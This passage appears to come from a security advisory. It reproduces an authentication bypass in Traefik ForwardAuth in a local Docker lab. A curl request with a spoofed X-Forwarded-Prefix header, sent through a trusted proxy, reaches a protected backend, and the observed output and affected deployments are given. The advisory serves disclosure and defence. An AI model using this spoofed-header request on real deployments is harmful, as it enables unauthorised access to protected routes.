Details
- Start the containers:
docker network create --subnet 172.31.79.0/24 traefik-readme-net
docker run -d --name traefik-readme-backend \
--network traefik-readme-net \
--network-alias backend \
traefik/whoami
docker run -d --name traefik-readme-auth \
--network traefik-readme-net \
--network-alias auth \
-v "$PWD/auth.py:/app/auth.py:ro" \
-w /app \
python:3.12-alpine \
python /app/auth.py
docker run -d --name traefik-readme-traefik \
--network traefik-readme-net \
--network-alias traefik \
-p 18081:80 \
-v "$PWD/traefik.toml:/etc/traefik/traefik.toml:ro" \
-v "$PWD/dynamic.toml:/etc/traefik/dynamic.toml:ro" \
traefik:v3.6.12
docker run -d --name traefik-readme-frontend \
--network traefik-readme-net \
-p 18080:80 \
-v "$PWD/frontend.conf:/etc/nginx/conf.d/default.conf:ro" \
nginx:alpine
- Send three requests:
Direct to Traefik, spoofed header:
curl -sS -i \
-H 'Host: app.local' \
-H 'X-Forwarded-Prefix: /admin' \
http://127.0.0.1:18081/forbidden/test
Expected result:
HTTP/1.1 403 Forbidden
...
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"]}
Through trusted proxy, no spoofing:
curl -sS -i \
-H 'Host: app.local' \
http://127.0.0.1:18080/forbidden/test
Expected result:
HTTP/1.1 403 Forbidden
...
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"]}
Through trusted proxy, spoofed header:
curl -sS -i \
-H 'Host: app.local' \
-H 'X-Forwarded-Prefix: /admin' \
http://127.0.0.1:18080/forbidden/test
Observed result:
HTTP/1.1 200 OK
...
X-Auth-All-Prefixes: /admin|/forbidden
X-Auth-First-Prefix: /admin
X-Forwarded-Prefix: /admin
X-Forwarded-Prefix: /forbidden
The backend response confirms that the request reached the protected upstream after the auth service accepted the attacker-controlled prefix.
- Optional log confirmation from the auth service:
docker logs traefik-readme-auth
Observed log sequence:
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"], ...}
{"path": "/check", "first_prefix": "/forbidden", "all_prefixes": ["/forbidden"], ...}
{"path": "/check", "first_prefix": "/admin", "all_prefixes": ["/admin", "/forbidden"], ...}
- Cleanup:
docker rm -f traefik-readme-traefik traefik-readme-backend traefik-readme-auth traefik-readme-frontend
docker network rm traefik-readme-net
Impact
This is an authentication bypass / trust-boundary bypass.
Affected deployments are those that:
- run Traefik behind a trusted upstream proxy
- use
ForwardAuth - rely on
trustForwardHeader=falseto avoid trusting client-supplied forwarded headers - pass
X-Forwarded-Prefixto the auth service, which happens by default whenauthRequestHeadersis empty - make authorization or routing decisions based on
X-Forwarded-Prefix, especially whenStripPrefixruns beforeForwardAuth
In those environments, an unauthenticated external attacker can influence the auth service's view of the protected path and gain access to backend routes that should be denied.
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